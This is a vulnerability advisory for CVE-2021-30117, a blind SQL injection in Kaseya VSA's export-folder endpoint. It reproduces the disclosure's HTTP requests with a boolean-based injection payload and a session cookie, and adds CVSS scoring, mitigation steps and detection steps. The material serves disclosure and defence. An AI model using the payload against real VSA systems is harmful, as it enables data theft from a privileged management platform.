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CVE-2021-30117: Authenticated SQL injection in Kaseya VSA < v9.5.6

The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```

CriticalCVSS 9.8Not KEV-listedUpdated
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Plain-English summary

CVE-2021-30117 is a critical SQL injection issue in Kaseya VSA versions before 9.5.6. A remote attacker with the needed semi-authenticated session context could query backend data through a vulnerable export endpoint, risking confidentiality, integrity, and availability of a management platform that often has broad operational reach.

Executive priority

Treat as urgent for any Kaseya VSA environment below 9.5.6. The platform’s privileged role makes compromise potentially business-critical, even though active exploitation is not confirmed in the supplied evidence.

Technical view

The bundle describes a semi-authenticated boolean-based blind SQL injection in /InstallTab/exportFldr.asp through the fldrId parameter. The session context is tied to CVE-2021-30116. CVSS is 9.8, network reachable, low complexity, no privileges in the vector, and high impact across confidentiality, integrity, and availability.

Likely exposure

Exposure is most relevant to organizations running Kaseya VSA before 9.5.6, especially internet-reachable instances. The CVE bundle does not provide reliable CPE data, so asset owners should confirm versions directly from VSA inventory and vendor records.

Exploitation context

The provided bundle does not show CISA KEV listing or another cited confirmation of active exploitation for this specific CVE. It does describe a working vulnerability condition and references DIVD limited disclosure and Kaseya 9.5.6 release material.

Researcher notes

Evidence quality is limited by incomplete affected-product metadata in the CVE bundle. The vulnerability description is specific about endpoint, parameter, authentication context, and response behavior, but the provided sources do not include broad exploit telemetry or complete remediation details.

Mitigation direction

  • Upgrade affected Kaseya VSA deployments to 9.5.6 or later per vendor guidance.
  • Review Kaseya advisories and release notes for any additional required remediation steps.
  • Restrict administrative VSA access to trusted networks or VPN where operationally possible.
  • Review related exposure to CVE-2021-30116 because session context is referenced.
  • Monitor VSA and database activity for suspicious export endpoint behavior.

Validation and detection

  • Inventory all Kaseya VSA instances and confirm installed versions.
  • Check whether any exposed instance is older than 9.5.6.
  • Review web logs for requests to /InstallTab/exportFldr.asp.
  • Correlate suspicious VSA activity with authentication/session anomalies.
  • Confirm vendor remediation status through Kaseya release documentation.
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Severity
Critical
CVSS
9.8 (3.1)
Known Exploited
No
Published

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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ScoreVersionSeverityVectorExploitImpactSource
9.8CVSS 3.1CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H3.95.9Primary CVE score

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Base CVSS 3.1 score

9.8Critical
CVSS 3.1 vector shape for CVE-2021-30117Attack VectorAttack ComplexityPrivileges RequiredUser InteractionScopeConfidentiality ImpactIntegrity ImpactAvailability Impact

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector
NetworkAdjacentLocalPhysical
Attack Complexity
LowHigh
Privileges Required
NoneLowHigh
User Interaction
NoneRequired
Scope
ChangedUnchanged
Confidentiality Impact
HighLowNone
Integrity Impact
HighLowNone
Availability Impact
HighLowNone

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